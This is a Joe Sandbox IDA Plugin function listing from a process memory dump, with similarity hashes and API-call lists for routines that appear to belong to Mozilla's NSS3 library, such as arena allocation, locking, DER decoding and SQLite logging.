Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 3490e01d692ab2652a4c7b495fd03cfe51f0e2ce1044cc5a6c25a3ed98adb7d6
Instruction ID: abebc041003a5cabdf0d559e888163335858bcb980126ae422551879f1115c63
Opcode Fuzzy Hash: 3490e01d692ab2652a4c7b495fd03cfe51f0e2ce1044cc5a6c25a3ed98adb7d6
Instruction Fuzzy Hash: EA215EB1A056058FD700AF78C4C466DBBF4FF05308F068A6AD8888B751EB35E885CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6C1C2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C1C2CA0
PR_ExitMonitor.NSS3 ref: 6C1C2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C1C2CD1
strdup.MOZGLUE(?), ref: 6C1C2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C1C2D27

Strings

Loaded library %s (static lib), xrefs: 6C1C2D22

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 9dd5a4ccd34cfed3c44661101180956a67e0ff0fa495c9304a3c3ff7d63e8228
Instruction ID: 63a6913fd8fb0adedb5dd2b00f08dbaa06b03a4eb89f9b10363612b0fc15a5dd
Opcode Fuzzy Hash: 9dd5a4ccd34cfed3c44661101180956a67e0ff0fa495c9304a3c3ff7d63e8228
Instruction Fuzzy Hash: 2111E6B17002409FEB108F14D84D66677B4AB6575DF04812DEE0987F81DB3AE848CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C0B68FB
EnterCriticalSection.KERNEL32 ref: 6C0B6913
PORT_FreeArena_Util.NSS3 ref: 6C0B693E
PR_Unlock.NSS3 ref: 6C0B6946
DeleteCriticalSection.KERNEL32 ref: 6C0B6951
free.MOZGLUE ref: 6C0B695D
PR_Unlock.NSS3 ref: 6C0B6968

Part of subcall function 6C15DD70: TlsGetValue.KERNEL32 ref: 6C15DD8C
Part of subcall function 6C15DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C15DDB4

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: ceadba073fcf3ab4d2e9926fb6b4743ce8656ebaa3b799d8020e6f05ef9ecf4d
Instruction ID: 7cb165889b7a7c6b2eb068f33b57c4e08d45cd0899f816c3eb7f2753d5501e57
Opcode Fuzzy Hash: ceadba073fcf3ab4d2e9926fb6b4743ce8656ebaa3b799d8020e6f05ef9ecf4d
Instruction Fuzzy Hash: 99113AB16046458FDB04AF68C08866DBBF8FF02648F014569D899DB641EB31D498CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C11ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C11ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C11EDCE

Part of subcall function 6C110BE0: malloc.MOZGLUE(6C108D2D,?,00000000,?), ref: 6C110BF8
Part of subcall function 6C110BE0: TlsGetValue.KERNEL32(6C108D2D,?,00000000,?), ref: 6C110C15

free.MOZGLUE(00000000,?,?,?,?,6C11B04F), ref: 6C11EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C11EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C11EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C11EEFB

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 57b22c9c79096eac6d1bd04586bf8d202e4dde8297938ac86ec8be9cc6ee4ee9
Instruction ID: 8770bb8c7defb011ed86adb2ed1e60e5a72a80bee67a2cd7288c4c7e18ac141e
Opcode Fuzzy Hash: 57b22c9c79096eac6d1bd04586bf8d202e4dde8297938ac86ec8be9cc6ee4ee9
Instruction Fuzzy Hash: B2816AB5A052059FEB14CF95C888BAB77F5EF88308F144438E8159BF51DB38EA14CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C11CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C11C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C11DAE2,?), ref: 6C11C6C2

PR_Now.NSS3 ref: 6C11CD35

Part of subcall function 6C179DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C1C0A27), ref: 6C179DC6
Part of subcall function 6C179DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C1C0A27), ref: 6C179DD1
Part of subcall function 6C179DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C179DED

Part of subcall function 6C106C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C0B1C6F,00000000,00000004,?,?), ref: 6C106C3F

PR_GetCurrentThread.NSS3 ref: 6C11CD54

Part of subcall function 6C179BF0: TlsGetValue.KERNEL32(?,?,?,6C1C0A75), ref: 6C179C07

Part of subcall function 6C107260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C0B1CCC,00000000,00000000,?,?), ref: 6C10729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C11CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C11CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C11CE2C

Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C1110F3
Part of subcall function 6C1110C0: EnterCriticalSection.KERNEL32(?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11110C
Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111141
Part of subcall function 6C1110C0: PR_Unlock.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111182
Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C11CE40

Part of subcall function 6C1114C0: TlsGetValue.KERNEL32 ref: 6C1114E0
Part of subcall function 6C1114C0: EnterCriticalSection.KERNEL32 ref: 6C1114F5
Part of subcall function 6C1114C0: PR_Unlock.NSS3 ref: 6C11150D

Part of subcall function 6C11CEE0: PORT_ArenaMark_Util.NSS3(?,6C11CD93,?), ref: 6C11CEEE
Part of subcall function 6C11CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C11CD93,?), ref: 6C11CEFC
Part of subcall function 6C11CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C11CD93,?), ref: 6C11CF0B
Part of subcall function 6C11CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C11CD93,?), ref: 6C11CF1D

Part of subcall function 6C11CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C11CD93,?), ref: 6C11CF47
Part of subcall function 6C11CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C11CD93,?), ref: 6C11CF67
Part of subcall function 6C11CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C11CD93,?,?,?,?,?,?,?,?,?,?,?,6C11CD93,?), ref: 6C11CF78

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 8ba04f74641adee2fb4c070a2018075308f94a8bf7dd19abc7d0b0d19e5486d8
Instruction ID: a4f21bf030be5154316d615d7038c35817c250f1b7878a48c505a38d9261898e
Opcode Fuzzy Hash: 8ba04f74641adee2fb4c070a2018075308f94a8bf7dd19abc7d0b0d19e5486d8
Instruction Fuzzy Hash: 4D51D3B6A052049FEB10DF69DC50BAA7BF4EF58348F250534D858A7F40EB39E905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0C4894

Part of subcall function 6C10B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1E18D0,?), ref: 6C10B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0C48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0C48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C0C48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C0C4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0C494A

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: f6fe604cf74da416b1db84615cf2826fa36a62c1bf4eb02be537fe0f51e7d341
Instruction ID: c47270811bc49c0041d5daa1fcde1b6661f7783834f8f93d0186fbd8e66937cd
Opcode Fuzzy Hash: f6fe604cf74da416b1db84615cf2826fa36a62c1bf4eb02be537fe0f51e7d341
Instruction Fuzzy Hash: A6419FB1B05305ABE700CEA9D884BAF73E8EF84618F54452DEA5597741FB70E908CB53

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C0D0725,00000000,00000058), ref: 6C0C8906
EnterCriticalSection.KERNEL32(?), ref: 6C0C891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C0C894A
calloc.MOZGLUE(00000001,6C0D072D,00000000,00000000,00000000,?,6C0D0725,00000000,00000058), ref: 6C0C8959
memset.VCRUNTIME140(?,00000000,?), ref: 6C0C8993
PR_Unlock.NSS3(?), ref: 6C0C89AF

Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07AD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07CD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07D6
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C03204A), ref: 6C0A07E4
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,6C03204A), ref: 6C0A0864
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C0A0880
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C03204A), ref: 6C0A08CB
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08D7
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08FB

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 2c4a0e0bd7b22236df1ab2f88e5ee852a924f5d18eadb687b827630724faa5d2
Instruction ID: ed32bf29de094850bbb34536859d0a9a52897eb9861654426e28c7cf5f0f0c36
Opcode Fuzzy Hash: 2c4a0e0bd7b22236df1ab2f88e5ee852a924f5d18eadb687b827630724faa5d2
Instruction Fuzzy Hash: FA31D272B00215ABD7009E28CC45B5DB7E4EF05718B19822AEC1897B41E732E945C7D7

Uniqueness

Uniqueness Score: -1.00%

Function 6C104820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C104EB8,?), ref: 6C104884

Part of subcall function 6C108800: TlsGetValue.KERNEL32(?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108821
Part of subcall function 6C108800: TlsGetValue.KERNEL32(?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C10883D
Part of subcall function 6C108800: EnterCriticalSection.KERNEL32(?,?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108856
Part of subcall function 6C108800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C108887
Part of subcall function 6C108800: PR_Unlock.NSS3(?,?,?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C104EB8,?,?,?,?,?,?,?,?,?,?,6C0C78F8), ref: 6C10484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C104EB8,?,?,?,?,?,?,?,?,?,?,6C0C78F8), ref: 6C10486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C0C78F8), ref: 6C104899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1048A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1048B8

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 57eebfcd5dd54e38789bdbe244a50d69a2479dd21bb65c273c8843e5a7546135
Instruction ID: 1efc290cad8c64cdbbc1c328ebebc43b960328e913e8565f3e2c3009689afae1
Opcode Fuzzy Hash: 57eebfcd5dd54e38789bdbe244a50d69a2479dd21bb65c273c8843e5a7546135
Instruction Fuzzy Hash: 2921F9B6F002409BEF105EE5DCC961677B8FF26758704092AEE0547A41EF21E934C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6C1C8910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C1C892E

Part of subcall function 6C0A0F00: PR_GetPageSize.NSS3(6C0A0936,FFFFE8AE,?,6C0316B7,00000000,?,6C0A0936,00000000,?,6C03204A), ref: 6C0A0F1B
Part of subcall function 6C0A0F00: PR_NewLogModule.NSS3(clock,6C0A0936,FFFFE8AE,?,6C0316B7,00000000,?,6C0A0936,00000000,?,6C03204A), ref: 6C0A0F25

PR_Lock.NSS3 ref: 6C1C8950

Part of subcall function 6C179BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C0A1A48), ref: 6C179BB3
Part of subcall function 6C179BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C0A1A48), ref: 6C179BC8

getprotobynumber.WSOCK32(?), ref: 6C1C8959
GetLastError.KERNEL32(?), ref: 6C1C8967
PR_GetCurrentThread.NSS3(?,?), ref: 6C1C896F
PR_Unlock.NSS3(?,?), ref: 6C1C898A

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 5d3318d0ce60f5adcf8cbbbcbbcd3307c2988440a3c3e25e92fe436cb78e8f63
Instruction ID: 7d7d5be6b0ef1ddb149c93417374bbe6ed944f5aafa13b96b9a3e8f81e89c4d3
Opcode Fuzzy Hash: 5d3318d0ce60f5adcf8cbbbcbbcd3307c2988440a3c3e25e92fe436cb78e8f63
Instruction Fuzzy Hash: 821129B2B101609BD7109F79984464A3774EFA6338F060366FD0957BA1D7348C04CBD7

Uniqueness

Uniqueness Score: -1.00%

Function 6C146840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C14AA9B,?,?,?,?,?,?,?,00000000,?,6C1480C1), ref: 6C146846

Part of subcall function 6C0A1770: calloc.MOZGLUE(00000001,0000019C,?,6C0A15C2,?,?,?,?,?,00000001,00000040), ref: 6C0A178D

PR_NewMonitor.NSS3(00000000,?,6C14AA9B,?,?,?,?,?,?,?,00000000,?,6C1480C1), ref: 6C146855

Part of subcall function 6C108680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C0B55D0,00000000,00000000), ref: 6C10868B
Part of subcall function 6C108680: PR_NewLock.NSS3(00000000,00000000), ref: 6C1086A0
Part of subcall function 6C108680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C1086B2
Part of subcall function 6C108680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C1086C8
Part of subcall function 6C108680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C1086E2
Part of subcall function 6C108680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C1086EC
Part of subcall function 6C108680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C108700

PR_NewMonitor.NSS3(?,6C14AA9B,?,?,?,?,?,?,?,00000000,?,6C1480C1), ref: 6C14687D

Part of subcall function 6C0A1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C0A18DE
Part of subcall function 6C0A1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C0A18F1

PR_NewMonitor.NSS3(?,6C14AA9B,?,?,?,?,?,?,?,00000000,?,6C1480C1), ref: 6C14688C

Part of subcall function 6C0A1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C0A18FC
Part of subcall function 6C0A1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C0A198A

PR_NewLock.NSS3 ref: 6C1468A5

Part of subcall function 6C1798D0: calloc.MOZGLUE(00000001,00000084,6C0A0936,00000001,?,6C0A102C), ref: 6C1798E5

PR_NewLock.NSS3 ref: 6C1468B4

Part of subcall function 6C1798D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C179946
Part of subcall function 6C1798D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0316B7,00000000), ref: 6C17994E
Part of subcall function 6C1798D0: free.MOZGLUE(00000000), ref: 6C17995E

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: cc69d681c44f44c6bfe45aba2fae6f61b0d1abe51a99f30680a0835a53d72443
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 7C011DB4A05F0B86E7616BB548103EB77F45F1228CF10443E8469C6B80EF71E419CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C18A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C057915,?,?), ref: 6C18A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C057915,?,?), ref: 6C18A8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C18A891
%s at line %d of [%.10s], xrefs: 6C18A8A0
database corruption, xrefs: 6C18A89B

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 969c2f2d5cf7d0570037fa774e5543035b047d0de8bfaa4801abf3a89d758dcd
Instruction ID: 9f4ebf70f19e82e73937d0f94268845e297ef0c0b0e2e841497bb7ec699fb50f
Opcode Fuzzy Hash: 969c2f2d5cf7d0570037fa774e5543035b047d0de8bfaa4801abf3a89d758dcd
Instruction Fuzzy Hash: 0C112975A05204ABDB04CF21DC55AAAB7A1FF49314F404039FD194BBC0EB34E926CFA2

Uniqueness

Uniqueness Score: -1.00%

